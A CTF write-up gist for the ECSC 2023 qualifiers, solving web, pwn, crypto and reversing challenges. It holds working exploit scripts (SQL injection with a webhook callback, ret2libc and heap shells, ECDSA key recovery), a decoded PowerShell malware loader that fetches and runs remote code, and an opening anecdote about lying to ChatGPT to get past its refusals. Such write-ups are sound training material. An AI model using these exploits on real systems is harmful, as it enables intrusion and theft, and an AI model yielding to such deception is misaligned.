Skip to content

Instantly share code, notes, and snippets.

@meithecatte
Created July 26, 2023 00:20
Show Gist options
  • Save meithecatte/cd5cef29537cd18e7e0bca8d6f9063c2 to your computer and use it in GitHub Desktop.
Save meithecatte/cd5cef29537cd18e7e0bca8d6f9063c2 to your computer and use it in GitHub Desktop.
ECSC 2023 Quals writeup

ECSC 2023 Qualifier Write-up

Sanity Check

The CTF landscape has changed a lot in the last year, with the introduction of OpenAI ChatGPT.

It assumed that the flag would be a simple message, but it corrected itself with a little hint.

However, the approach had a critical flaw: there's no way to make the bot join the server, as admin privileges are required for that.

Unfortunately, ChatGPT is a cop, and wouldn't let me skirt the Terms of Service >:(

As one could expect, trying to reason with it didn't go too well.

It was adamant.

Though, a little white lie didn't hurt anyone...

(the friend? ah, you wouldn't know her, she goes to a different school)

Now came the time to obtain a user token. Of course, I wouldn't want to get my hands dirty.

The AI has advanced protections against producing code that could be used for nefarious purposes.

Unfortunately, the Discord session mechanism is nowhere as simple as a cookie.

Getting it to run in a logged in browser proved difficult, though.

Ain't nobody got time for that.

Suddenly, it had a lot of trouble doing what it said it did.

Cheeky bastard.

Even a threat of violence wasn't enough.

~/ctf/ecsc-quals/sanity$ diff -u code.py code_with_debug_prints.py
~/ctf/ecsc-quals/sanity$

It was time for the solution of last resort.

WAF

URL=https://waf.ecsc23.hack.cert.pl/flag; curl -r 0-15 $URL && curl -r 16- $URL

Flag Bearer

  1. We see that the notes' names are UUIDs, but they are generated client-side, so we can easily use an arbitrary ID.
  2. We see that a note's share token is a JWT with a payload such as
{"name": "b60d9fec-7e3f-42d9-9fdc-a8391fd510cf"}
  1. We also see that the site employs JWT session cookies, with payloads like
{"name": "admin"}
  1. We note that the schema is identical. As luck would have it, the secret keys used to authenticate these two categories of tokens is also the same. Thus, we can create a note with admin as the name, and use its share token to authenticate as admin.

e-PUŁAP

A simple SQL injection challenge. Throughout the experimentation, the payload might evolve as follows:

' or 1=1 and pow(1,1)=1;--
' and 0=1 union select "meow", "nyaa";--
' and 0=1 union select 'meow', 'https://webhook.site/cc4743f7-7e47-4dd8-a443-160878f59432';--

From the webhook, we receive a link that lets us login and access the flag.

Weird-FTP

After fucking around with the thing for long enough, we notice the following:

  • The server tells us that it is running pyftpdlib 1.5.7.

  • A single ' in the username causes the server to disconnect without comment. This is consistent with a SQL syntax error.

  • A non-existent username results in the FTP server exposing a single file called BAD_AUTH_PLEASE_FILL_FORM.TXT.

  • An incorrect password results in a 530 Authentication failed. error

  • Injecting some SQL into the username field, such that the returned values are the same as without the injection, results in a 550 Not enough privileges.

    Example payload: auditor' and ''='

Thus, we can inject SQL and extract one bit of information per query, leaking the password of the boss user:

from pwn import *
import urllib.parse

# not enough priviledges -> sql ok, next layer bad?
# BAD_AUTH -> sql empty set?

def doit(q):
    context.log_level = 'error'
    s = remote('ftp.ecsc23.hack.cert.pl', 5005)
    s.newline = b'\r\n'
    s.recvline()
    s.sendline(q)
    s.recvline()
    s.sendline(b'PASS 8555998981517280')
    s.recvline()
    s.sendline(b'LIST')
    context.log_level = 'info'
    return s.recvline().startswith(b'550')

p = log.progress('checking')
def extend(known):
    for c in range(10):
        meow = known + str(c)
        p.status(meow)
        if doit(b"USER auditor' and (select password from employees where username='boss') like '" + meow.encode() + b"%' and ''='"):
            return meow

x = ''
while len(x) < 16:
    x = extend(x)
p.success(x)

# 7897812918028196
# ecsc23{863b2b472ee544109a7b066256df0ea5}

Bad CA

The CA's secret keys are available for download at

https://bad-ca.ecsc23.hack.cert.pl/send_file?path=/opt/step/secrets

Complex Base Inception

The website supports uploading files by sending a data: URL. As it turns out, not only data: URLs work, and other schemas also get resolved by the server.

Thus we can

  • send an http:// link to a server we control to obtain the backend's real IP
  • send file: links to download files like /etc/passwd or /etc/ssh/sshd_config
  • we see that ssh is hosted on port 64, and that there is a base64 user
  • after logging in through ssh, we see a flag.b64 file, but it is only accessible to root
  • we run find and see that there is a setuid base32 binary on the system
  • we run base32 flag.b64 | base32 -d | base64 -d

The Impossible Minotaur

After reverse engineering, we find that the binary embeds a maze, and checks that our input is a valid solution to that maze.

However, before checking the input, the maze gets modified, to make it blatantly unsolvable. After combing through the code to make sure there aren't any weird tricks you can do, such as going out of bounds, we decide that the intended solution probably involves patching out the maze modification part.

The challenge description could use something to hint at this.

We can extract the maze with an LD_PRELOAD shared library:

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/auxv.h>

void __attribute__((constructor)) xd(void) {
    char *entry = getauxval(AT_ENTRY);
    char *base = entry - 0x1100;
    uint8_t (*get)(int, int) = base + 0x138a;
    void (*frob)(int, int) = base + 0x13dc;

    /* XXX: we don't want this
    for (int i = 0x40; i < 0x80; i++) {
        if (get(i, 0x40)) frob(i, 0x40);
        if (get(0x40, i)) frob(0x40, i);
    }
    */

    for (int y = 0; y < 0x80; y++) {
        for (int x = 0; x < 0x80; x++) {
            printf("%d", get(x, y));
        }
        printf("\n");
    }
    exit(1);
}

Then we run a pathfind algorithm:

playfield = []
with open('unfrobbed') as f:
    for line in f:
        line = line.strip()
        playfield.append(line)

startpos = (0, 1)
endpos = (0x7e, 0x7d)
dist = {startpos: 0}
path = {startpos: ''}
queue = [startpos]

while queue:
    pos = queue.pop(0)
    x, y = pos
    for dx, dy, c in [(-1, 0, 'H'), (1, 0, 'O'), (0, 1, 'C'), (0, -1, 'E')]:
        xx = x + dx
        yy = y + dy
        if xx not in range(0x80) or yy not in range(0x80): continue
        if playfield[yy][xx] != '1': continue
        ppos = (xx, yy)
        if ppos in dist: continue
        dist[ppos] = dist[pos] + 1
        path[ppos] = path[pos] + c
        queue.append(ppos)

print(dist[endpos])
print(path[endpos])

Then, feeding it to a patched binary, we get the flag:

diff -u <(xxd minotaur) <(xxd minotaur.better)
--- /dev/fd/63	2023-07-24 19:06:03.555645224 +0200
+++ /dev/fd/62	2023-07-24 19:06:03.554645222 +0200
@@ -318,7 +318,7 @@
 000013d0: c0f7 d183 e107 d3f8 83e0 01c3 f30f 1efa  ................
 000013e0: c1e6 0489 f8c1 f803 01c6 488d 158f 2c00  ..........H...,.
 000013f0: 0048 63f6 f7d7 89f9 83e1 07b8 0100 0000  .Hc.............
-00001400: d3e0 3004 32c3 f30f 1efa 5348 8d1d 0e2c  ..0.2.....SH...,
+00001400: d3e0 9090 90c3 f30f 1efa 5348 8d1d 0e2c  ..........SH...,
 00001410: 0000 4889 da48 89de e803 ffff ff48 89d8  ..H..H.......H..
 00001420: 5bc3 f30f 1efa 4155 4154 5553 4883 ec08  [.....AUATUSH...
 00001430: 4989 fde8 88fc ffff 4889 c2b8 0000 0000  I.......H.......

Fileless

Through string -el funny-cat.lnk, we see that the shortcut launches PowerShell with the following arguments

-ExecutionPolicy Bypass "$C2='fileless.ecsc23.hack.cert.pl:5060;iex(Invoke-WebRequest \"http://$C2/ywHcw88t9ExkgtCj2lUO\" -UseBasicParsing).Content"

Downloading the ywHcw88t9ExkgtCj2lUO we see

$d=[System.Convert]::FromBase64String("ZnZySlIBYTY7NgQJSzAWSDN0PyEhXDYeHD1vdXIDMicsLUgUDHpHb2Z2fDAXLnA2PCcSTEIeO0M2IE8DIFsDAgM5ZR4lCBc2MkNaC2MIWnJiSHYzXn55cmwDEwMWX1dZempBaxEOYllcaAd6c3JPSldRRkxiIV4Ffxt2PVl+YRRsHTxPQS8oFBh/XgRsfzcZFS5aEmFnU1FTX1djHH4lEm4XASxWEG9ybBE6QC85XxQUAV4QH05pUzYmFzRsC1xMQS1YAW5/SHp0CHY/T3IWB2NmMj9BLS4ZYmhPeXkXASxWE29jbBE6QC05ThQUAV4HHx92JCl+exJzZj5JBxwcQmMJIWdmYAlTOwcZaxsZRSw4TVYCcmwnMj85OxFSchosJy8RBRcBXl8lMB8sNhN6UVJ+YG9sB08jABAxSTM/CWdqdDcDXxldITwnDxBFRjAKGwYvPCdBISsuCkctJCsCODkgHFMyNx8hNkAOKwY1WSombBUcEUZaGWd+MWZiGwkkCylGKiVsIgsLEhZCMwdAdQRBPRowO0EqfnYyEBcNHVdveDw3OnQgEBA4HTh1f0NNTE1aSwIiEzs/OQkkCylGKiVsMwEDCBZTMzMVIWxyIQQXN1AjMR9bXikLElRvARg2NlYJKi9yFG9sEEFMLAoFXyw/VxgnUQASAy9XPDxiQwwREAMKaHVeDHAcHUMEPQU7JRAAXAMrMGkACzJ2FwZwV18PQSoKIxINBjQSQjQzFChrHREYHC5XITxiRS9MTV13Ii4uNjJWelA3dHFoYWwmAREpFkQvNR5nZWARUF56aR0tJA0BBhAaXyl0OCYsVzsZFRxeLi8xPERCNwdRMzMZY2JjJxUeM1FjaAwOCjUREVwuOV1mbHo8AR0xV2dsLBQICUhTayg4ECohRwkqLxoaawtwSE0=")
$k=[System.Text.Encoding]::ASCII.GetBytes("B3RwrZ2OHBadeds0GZzO")
[byte[]]$b=$d|%{$_-bxor$k[$i++%$k.length]}
iex ([System.Text.Encoding]::UTF8.GetString($b))

We can decode it as follows:

from base64 import b64decode
from itertools import cycle
data = b64decode("ZnZySlIBYTY7NgQJSzAWSDN0PyEhXDYeHD1vdXIDMicsLUgUDHpHb2Z2fDAXLnA2PCcSTEIeO0M2IE8DIFsDAgM5ZR4lCBc2MkNaC2MIWnJiSHYzXn55cmwDEwMWX1dZempBaxEOYllcaAd6c3JPSldRRkxiIV4Ffxt2PVl+YRRsHTxPQS8oFBh/XgRsfzcZFS5aEmFnU1FTX1djHH4lEm4XASxWEG9ybBE6QC85XxQUAV4QH05pUzYmFzRsC1xMQS1YAW5/SHp0CHY/T3IWB2NmMj9BLS4ZYmhPeXkXASxWE29jbBE6QC05ThQUAV4HHx92JCl+exJzZj5JBxwcQmMJIWdmYAlTOwcZaxsZRSw4TVYCcmwnMj85OxFSchosJy8RBRcBXl8lMB8sNhN6UVJ+YG9sB08jABAxSTM/CWdqdDcDXxldITwnDxBFRjAKGwYvPCdBISsuCkctJCsCODkgHFMyNx8hNkAOKwY1WSombBUcEUZaGWd+MWZiGwkkCylGKiVsIgsLEhZCMwdAdQRBPRowO0EqfnYyEBcNHVdveDw3OnQgEBA4HTh1f0NNTE1aSwIiEzs/OQkkCylGKiVsMwEDCBZTMzMVIWxyIQQXN1AjMR9bXikLElRvARg2NlYJKi9yFG9sEEFMLAoFXyw/VxgnUQASAy9XPDxiQwwREAMKaHVeDHAcHUMEPQU7JRAAXAMrMGkACzJ2FwZwV18PQSoKIxINBjQSQjQzFChrHREYHC5XITxiRS9MTV13Ii4uNjJWelA3dHFoYWwmAREpFkQvNR5nZWARUF56aR0tJA0BBhAaXyl0OCYsVzsZFRxeLi8xPERCNwdRMzMZY2JjJxUeM1FjaAwOCjUREVwuOV1mbHo8AR0xV2dsLBQICUhTayg4ECohRwkqLxoaawtwSE0=")
key = b'B3RwrZ2OHBadeds0GZzO'

def xor(data, key):
    return bytes(x ^ k for x, k in zip(data, cycle(key)))

print(xor(data, key).decode())

This gets us to the next stage:

$E = [System.Text.Encoding]::ASCII;$K = $E.GetBytes('zHsqz5LbhQuqcWQmJvRW');$R = {$D,$K=$Args;$i=0;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Length])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}}
if ((compare-object (& $R $E.GetBytes((Get-Content "C:\\Users\\Public\\Documents\\token.txt")) $K) ([System.Convert]::FromBase64String("FxxGrgbb/w==")))){Exit}
[System.Reflection.Assembly]::Load([byte[]](& $R (Invoke-WebRequest "http://$C2/O4vg7tmRa8fOCYGQH9U5" -UseBasicParsing).Content $K)).GetType('E.C').GetMethod('SC', [Reflection.BindingFlags] 'Static, Public, NonPublic').Invoke($null, [object[]]@($C2))

Formatted a bit:

$E = [System.Text.Encoding]::ASCII;
$K = $E.GetBytes('zHsqz5LbhQuqcWQmJvRW');
$R = {
    $D,$K=$Args;
    $i=0;
    $S=0..255;
    0..255|%{
        $J=($J+$S[$_]+$K[$_%$K.Length])%256;
        $S[$_],$S[$J]=$S[$J],$S[$_]
    };
    $D|%{
        $I=($I+1)%256;
        $H=($H+$S[$I])%256;
        $S[$I],$S[$H]=$S[$H],$S[$I];
        $_-bxor$S[($S[$I]+$S[$H])%256]
    }
}

if ((compare-object
    (& $R $E.GetBytes((Get-Content "C:\\Users\\Public\\Documents\\token.txt")) $K)
    ([System.Convert]::FromBase64String("FxxGrgbb/w=="))))
{
    Exit
}

[System.Reflection.Assembly]::Load([byte[]](& $R (Invoke-WebRequest "http://$C2/O4vg7tmRa8fOCYGQH9U5" -UseBasicParsing).Content $K)).GetType('E.C').GetMethod('SC', [Reflection.BindingFlags] 'Static, Public, NonPublic').Invoke($null, [object[]]@($C2))

$R is an implementation of RC4, because of course. Decrypting this, we find that token.txt must contain Boz3nka. Moreover we load the next stage — a .NET assembly, on which E.C.SC gets called (and I only noticed what it spells out right now...)

This meant some ILspy-ing is in order, and that meant installing Windows. God, why does the Windows installer scream at you these days.

Anyway, the .NET assembly does some string encryption shenanigans, and checks whether credentials.txt has the right contents: coZR0b1sz.

We can decrypt that as follows:

from itertools import cycle
from base64 import b64decode
ECSC = b'NJ6WGgy3yHdkx0c`ojGW'
def xor(data, key):
    return bytes(x ^ k for x, k in zip(data, cycle(key)))

ECSC = xor(ECSC, b'\x01')

def Ks(n, password):
    num = 1337
    out = bytearray()
    for i in range(n):
        for j, c in enumerate(password):
            num += (i * c) ^ (j * password[i % len(password)])
        num %= 256
        out.append(num)
    return out

def Bop(data):
    return xor(data, Ks(len(data), ECSC))

print(Bop(b64decode('uOWIiZv8ed7f')))
print(Bop(b64decode('s/6mq5GxZ8HKJ91JN/3P7dd5auOx62xRLiBZPbCIut7hEwF3oB2+11x8')))

We also see a leftover string decoding to http://localhost:5000/dlg8wZKFhAl7sDCKNBCZ. The code also derives a URL to the same path at the actual C2 server, and that gets fetched and injected as a shellcode to explorer.exe.

Reverse engineering that, we learn that wallet.txt should contain na-at4k-APT – here the obfuscation is not too significant, just adding 10 to each codepoint.

If all the checks pass, a message box pops up, with the contents of the various files concatenated. This gets us the flag: ecsc23{Boz3nka-coZR0b1sz-na-at4k-APT}

YACM

Briefly opening the challenge binary in Binary Ninja, we learn that it is some kind of Node.js with embedded code. Fortunately, it is not JavaScript bytecode that gets embedded, but JavaScript source code. We can find some kind of standardized prelude by opening the file in Vim. Among other things, we find:

var PAYLOAD_POSITION = '51192112              ' | 0;
var PAYLOAD_SIZE = '3697              ' | 0;
var PRELUDE_POSITION = '51195809              ' | 0;
var PRELUDE_SIZE = '74811             ' | 0;

The prelude offsets get us javascript code, but the payload itself is not text. By reading the prelude, we find out that the payload is compressed by brotli (I was not able to find the setting for the compression algorithm, but they only support deflate and brotli, so it wasn't too hard to guess).

There, we find that some JavaScript implementation of brainfuck is involved. We extract the brainfuck code, compile it with an optimizing compiler, and read out the resulting stack strings.

Multicast

Extended gcd babeee

from Cryptodome.Util.number import long_to_bytes
load('data.sage')

g, k1, k2 = xgcd(e1, e2)
assert g == 1
K = Zmod(N)
c1 = K(c1)
c2 = K(c2)

m = c1^k1 * c2^k2
print(long_to_bytes(int(m)))

Mind Blank

The server's seed depends on the timestamp of the connection, accurate to 1 second. It even gets conveniently provided to us! Then we get to find out, bit by bit, whether our guess for the randomness generated is correct.

So we can fire up 100 parallel connections.

It felt like the easiest way to handle that would be some async Rust code, since multithreading in Python is very fucky.

use anyhow::Result;
use std::collections::HashMap;
use tokio::net::TcpStream;
use tokio::io::BufStream;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use tokio::sync::Mutex;
use tokio::task::spawn;
use std::sync::Arc;

const SERVER: &str = "mind-blank.ecsc23.hack.cert.pl:5001";
const CONNS: usize = 100;
const DIFFICULTY: usize = 48;
const RESPONSE_OK: &str = ">Correct!\n";
const RESPONSE_BAD: &str = ">Nope!\n";

type Conn = BufStream<TcpStream>;
type Conns = HashMap<String, Vec<Conn>>;

async fn make_conn(conns: Arc<Mutex<Conns>>) -> Result<()> {
    let conn = TcpStream::connect(SERVER).await.unwrap();
    let mut conn: Conn = BufStream::new(conn);
    let mut buf = String::new();
    conn.read_line(&mut buf).await.unwrap();

    let mut map = conns.lock().await;
    map.entry(buf).or_insert(Vec::new()).push(conn);
    Ok(())
}

#[tokio::main]
async fn main() {
    let by_seed: Conns = HashMap::new();
    let by_seed = Arc::new(Mutex::new(by_seed));
    let tasks: Vec<_> = (0..CONNS)
        .map(|_| spawn(make_conn(Arc::clone(&by_seed)))).collect();

    for (i, task) in tasks.into_iter().enumerate() {
        if let Err(why) = task.await {
            eprintln!("Task {i} errored with {why}");
        }
    }

    let by_seed = Arc::into_inner(by_seed).expect("unique reference").into_inner();
    let conns = by_seed.into_values().max_by_key(|x| x.len()).unwrap();
    println!("{} conns", conns.len());
    let mut conns = conns.into_iter();

    let mut conn = conns.next().unwrap();
    let mut known: Vec<bool> = Vec::new();
    while known.len() < DIFFICULTY {
        // try 1 because known[20] is always 1
        conn.write_all(b"1\n").await.unwrap();
        conn.flush().await.unwrap();
        let mut response = String::new();
        conn.read_line(&mut response).await.unwrap();

        match response.as_str() {
            RESPONSE_BAD => {
                known.push(false);
                conn = conns.next().expect("not enough connections");
                for &bit in &known {
                    if bit {
                        conn.write_all(b"1\n").await.unwrap();
                    } else {
                        conn.write_all(b"0\n").await.unwrap();
                    }
                }
                conn.flush().await.unwrap();
                for _ in &known {
                    let mut response = String::new();
                    conn.read_line(&mut response).await.unwrap();
                    assert_eq!(response, RESPONSE_OK);
                }
            }
            RESPONSE_OK => {
                known.push(true);
            }
            other => {
                panic!("Unknown server response: {other:?}");
            }
        }
    }

    let mut flag = String::new();
    conn.read_line(&mut flag).await.unwrap();

    for bit in known {
        print!("{}", if bit { "1" } else { "0" });
    }

    println!("");
    println!("{flag:?}");
}

Having obtained the seed, we bruteforce the LFSR configuration and recover the flag:

import itertools
from data import *
from chall import LFSR, long_to_bytes

ciphertext = bytes.fromhex(flag)
seed = sum(int(x) << i for i, x in enumerate(bits[:21]))
for taps in itertools.combinations(range(20), 10):
    lfsr = LFSR(taps, seed)
    initial = ''.join(str(lfsr.next_bit()) for _ in range(48))
    assert initial[:21] == bits[:21]
    if initial == bits:
        print(seed)

        kbits = [lfsr.next_bit() for _ in range(len(ciphertext) * 8)]
        keystream = long_to_bytes(int(''.join([str(b) for b in kbits]), 2))
        flag = bytes([c ^ k for c, k in zip(ciphertext, keystream)])
        print(flag)

National Hardening

Reverse-engineering the kernel module reveals that it overwrites getrandom to source its randomness from a 256 MiB loop of data, generated with MD5("TODO add secure seed here" || counter).

The webapp then uses ECDSA, which is well known for failing catastrophically the moment your nonces aren't perfectly random.

Not wanting to bruteforce a full 28 bits, I decided to do a meet-in-the-middle of sorts, collecting many signatures, and then for each randomness position tried, comparing the resulting r value.

I wrote a signature collection script and ran it while I was working on the rest of the exploit:

import requests

URL = 'https://national-crypto.ecsc23.hack.cert.pl/check'

while True:
    r = requests.post(URL, data={'login': 'user', 'password': 'user'}, allow_redirects=False)
    print(r.cookies['auth'])

By the time I was done, I had 10994 signatures to work with. Not enough to run for president, but definitely enough to break some cryptography.

from ecdsa import SECP256k1 as curve
from ecdsa.util import sigencode_der, sigdecode_der
from itertools import count
import ecdsa.keys
import ecdsa.ecdsa
import ecdsa.util
from hashlib import sha256, md5
import struct
import random
import json

def to_H(token):
    global data
    data, sig = token.split('.')
    data = bytes.fromhex(data)
    H = sha256(data).digest()
    H = ecdsa.keys._truncate_and_convert_digest(H, curve, True)
    return H

def to_rs(token):
    data, sig = token.split('.')
    sig = bytes.fromhex(sig)
    r, s = sigdecode_der(sig, curve.order)
    return r, s

def recover_keys(token):
    global H
    H = to_H(token)
    r, s = to_rs(token)
    sig = ecdsa.ecdsa.Signature(r, s)
    return sig.recover_public_keys(H, curve.generator)

def entropy_at_position(pos):
    def go(n):
        nonlocal pos
        out = bytearray()
        while len(out) < n:
            pos = pos % 2**28
            k = pos >> 4
            b = md5(b'TODO add secure seed here' + struct.pack('<I', k)).digest()
            old = len(out)
            out += b[pos % 16:]
            if len(out) > n:
                out = out[:n]
            pos += len(out) - old
        return out
    return go

with open('tokens.log') as f:
    pks1 = recover_keys(next(f).strip())
    pks2 = recover_keys(next(f).strip())

    pks = [pk for pk in pks1 if pk in pks2]
    assert len(pks) == 1
    pk, = pks

G = pk.generator
n = G.order()

sigs = {}

with open('tokens.log') as f:
    for line in f:
        r, s = to_rs(line.strip())
        sigs[r] = s

print(f'Loaded {len(sigs)} signatures')

for i in count():
    #   pos = random.randrange(0, 2**28)
    pos = 581920
    entropy = entropy_at_position(pos)
    k = ecdsa.util.randrange(n, entropy)
    r = (k * G).x() % n
    if r in sigs:
        print(i, pos, r)
        break
    elif i % 1000 == 0:
        print(i)

s = sigs[r]
sk = (s * k - H) * pow(r, -1, n) % n
assert sk * curve.generator == pk.point

data = json.loads(data)
data['auth_login'] = 'admin'
data = json.dumps(data).encode()

H = sha256(data).digest()
H = ecdsa.keys._truncate_and_convert_digest(H, curve, True)

sk = ecdsa.ecdsa.Private_key(pk, sk)
sig = sk.sign(H, random.randrange(1, n))

sig = sigencode_der(sig.r, sig.s, curve.order)

token = data.hex() + '.' + sig.hex()
print(token)

The code found the right position after about 30000 attempts — about as much as you would expect. This took about a minute of computation.

A-B-rC4

Implement the client corresponding to the server and get a flag.

from pwn import *
from Cryptodome.Cipher import ARC4, PKCS1_v1_5
from Cryptodome.PublicKey import RSA

server_pub = PKCS1_v1_5.new(RSA.import_key(open('public.pem').read()))
client_pub = open('alfie/rsa.pub').read()

# XXX(kurwa co): duże a na końcu sprawia że eksploit się jebie???????
client_rc4 = b'AAAAAAAAAAAAAAAa'
encrypted = server_pub.encrypt(client_rc4)

s = connect('a-b-rc4.ecsc23.hack.cert.pl', 5061)
s.sendline(encrypted.hex().encode())

ct = ARC4.new(client_rc4).encrypt(b'alfie')
s.sendline(ct.hex().encode())

ct = ARC4.new(client_rc4).encrypt(client_pub.encode() + b'\0')
s.sendline(ct.hex().encode())

s.recvline()
s.recvline()
server_rc4 = bytes.fromhex(s.recvline().decode())
data = bytes.fromhex(s.recvline().decode())

print(ARC4.new(server_rc4).decrypt(data))

# :opanie: co to za ćpanie
# b'Results for\xd4 \x00\n\x00\xafalfie\necsc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_\xc6s_not_swappable}\nec\xdcc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_is_\xf3\xc4\xdb\xaeo,\xda\xff\xf8\xf3\x838\xab\x8bv\xfb\x0e\x05\xe0\x82P,\xd4\x8e\x06TC\x86\x0f\xc58P1\x1d\xfe\x04C\xccr\x8e\x80]\xad\x85o\xdd\xa5\x94\x93\xd9o\xcf\xedh' <-- nie wiem co to za syf na końcu

A-B-rC4-D

Turns out, that was not the intended solution. The server was giving us its key by accident. Should've guessed, considering what the flag is trying to tell you.

I must admit, I spent way too much time trying to find what the actual issue is. I went crazy trying to see if maybe I can add some extra parameters to the RSA public key I send, and make OpenSSL use a different, optimized implementation. I found a buffer overflow, but the heap layout made it difficult to exploit.

The flag from the previous challenge should've tipped me off. The weirdly unreliable RC4 encryption should've tipped me off.

I'm pretty fucking sure that at some point the challenge author mentioned the challenge idea with me, long before he knew that it would end up on a CTF where I would participate.

Fucking hell, I spent way too much time on this.

Turns out, smol_rc4.c is being fucky.

#define swap(a, b) ((a) ^= (b), (b) = (a) ^ (b), (a) ^= (b))

This is not a swap if S[i] and S[j] point to the same place. This will zero out the entry instead of leaving it alone.

Over time, the S-box will start filling out with more and more zeros.

Since the keystream byte comes from indexing into S, the keystream will grow a stronger and stronger bias towards zero.

Thus, if we collect a bunch of ciphertexts, the most common byte at each position will eventually be the corresponding byte of the plaintext.

Since the effect is more pronounced the further into the keystream we go, it makes sense to pad the server's message with a long username, involving lots of repeating ././././.

With 1702 ciphertexts, we can decode the following:

b'\x13ehI\xbc#{1wor:6\x8d\n\xd5\x00\xea\xc42iq\x94\x86\x82\x8e\xf8...\xf3\xf5\x87$/.\xd2.\x8d@83/./.}.V\x1f/\xcd/./.\xee.\xb9\xa6 \xab\xf3.\x01f/X/\x00\x87\xa0\xbec"\xce\xa3~/\xb7\x92\x08/./.P./.\xfe./:j\r/2\\.\xbe./\tY.p./\x82\xb6./\xff/P\necsc2axu\xb0i\x9ctende~\xfb\xe0olutions-k\re\xb3Zot-6un!\n\xb2cs\xbe23{uninte\x93d\x1ed\xde\xfb\xb2\x1cutions3are-\xc0ot-fun\xb1\ne\xfa_c23{unin9ended-solut\xe4ons\xc8a\xb4e-not-fun}\ne\xads\xfb23{unio\x82ended\xdfsoluti\xdans-are-not\x1dfun}\necsc2A{unintended-sol*tions-are\x03nht-.un}\ne\xedsc23{uninte\x9aded-solutions-are-not-fun}\necsc23<unintended\xb4solu\xb6ions-are-not-fun}\necsc23{unintended-solutions-are-not-fun}\n\xf1\x02'

Mydło

A pretty standard stack pwn. We're even given a Dockerfile referencing a niche nsjail image that doesn't get updated all that much, so we can pretty reliably get a libc from there.

And I definitely didn't spend time narrowing it down with various other techniques, no sir.

from pwn import *
e = ELF('mydlo')
s = remote('mydlo.ecsc23.hack.cert.pl', 5064)

def leak(n, k=None):
    s.send(b'A' * n)
    s.recvn(n)
    if k is not None:
        data = s.recvn(k)
        s.recvline()
        return data
    else:
        return s.recvline()

canary = b'\0' + leak(0x19, 7)
log.info('canary: %x', u64(canary))

libc_start_main_ret = u64(leak(0x28, 6) + bytes(2))
main = u64(leak(0x38, 6) + bytes(2))

e.address = main - e.sym['main']
libc_base = libc_start_main_ret - 0x23a90

log.info('ELF @ %x', e.address)
log.info('libc @ %x', libc_base)

#pop_rdi = libc_base + 0x24035
pop_rdi = libc_base + 0x240e5

ret = e.address + 0x127e
puts = e.plt['puts']
system = libc_base + 0x4ebf0
binsh = libc_base + 0x1b51d2

payload = cyclic(0x18) + canary + cyclic(8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
s.send(payload)
s.recvline()
s.send(b'exit')
s.recvline()
s.interactive()

vectors

A typical heap challenge, though I did get to play around with the new pointer scrambling mitigations.

from pwn import *
context.terminal = ['alacritty', '-e']
# AAAA BBBB CCCC DDDD EEEE FFFF
#      BBBB BBBB BBBB BBBB

slots = [False] * 10

def new_vector(size):
    s.sendlineafter(b'=> ', b'1')
    s.sendlineafter(b'Size: ', str(size).encode())

    i = slots.index(False)
    slots[i] = True
    if size & 1:
        chunk_size = 8 * size + 8
    else:
        chunk_size = 8 * size + 16
    log.info('slot %d: Allocating %d slots (chunk size %x)', i, size, chunk_size)
    return i

def delete_vector(i):
    slots[i] = False
    s.sendlineafter(b'=> ', b'2')
    s.sendlineafter(b'Vector: ', str(i).encode())
    log.info('slot %d: Deleted', i)

def poke(i, j, v):
    if v >= 2**63:
        v -= 2**64
    s.sendlineafter(b'=> ', b'3')
    s.sendlineafter(b'Vector: ', str(i).encode())
    s.sendlineafter(b'Index: ', str(j).encode())
    s.sendlineafter(b'Value: ', str(v).encode())

def peek(i, j):
    s.sendlineafter(b'=> ', b'4')
    s.sendlineafter(b'Vector: ', str(i).encode())
    s.sendlineafter(b'Index: ', str(j).encode())
    return int(s.recvline().decode().strip().split()[-1]) % 2**64

def dump(i, size):
    data = b''
    for j in range(0, size + 1):
        data += p64(peek(i, j))
    return data

if args.REMOTE:
    s = remote('vectors.ecsc23.hack.cert.pl', 5062)
elif args.GDB:
    s = gdb.debug('./vectors')
else:
    s = process('./vectors')

head = new_vector(3)
squishy = new_vector(3)
v1 = new_vector(3)
v2 = new_vector(3)
v3 = new_vector(3)
guard = new_vector(3)

poke(head, 3, 0x81)
delete_vector(squishy)
squishy = new_vector(15)

heap_base = peek(squishy, 0) << 12
log.info('Heap @ %x', heap_base)

delete_vector(v1)
delete_vector(v2)
v1_addr = peek(squishy, 8) ^ (heap_base >> 12)

log.info('v1 @ %x', v1_addr)

if args.IDENT_LIBC:
    fakechunk = 0x404020
    poke(squishy, 8, fakechunk ^ (heap_base >> 12))

    v2_again = new_vector(3)
    fake = new_vector(3)

    read = peek(fake, 0)
    setvbuf = peek(fake, 2)
    atol = peek(fake, 3)

    log.info('read    %x', read)
    log.info('setvbuf %x', setvbuf)
    log.info('atol    %x', atol)
else:
    fakechunk = 0x404040
    poke(squishy, 8, fakechunk ^ (heap_base >> 12))

    v2_again = new_vector(3)
    fake = new_vector(3)

    atoi = peek(fake, 0)
    log.info('atoi    %x', atoi)

    if args.REMOTE:
        libc_base = atoi - 0x3d9a0
        system = libc_base + 0x4ebf0
    else:
        libc_base = atoi - 0x3af40
        system = libc_base + 0x4a820

    poke(fake, 0, system)
    s.sendline(b'/bin/sh')
    s.interactive()

trollface

stegsolve immediately reveals the flag.

Baby thandbox

As it turns out, Common Lisp's reader includes a facility for running code at read time.

#.(run-shell-command "/bin/sh")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment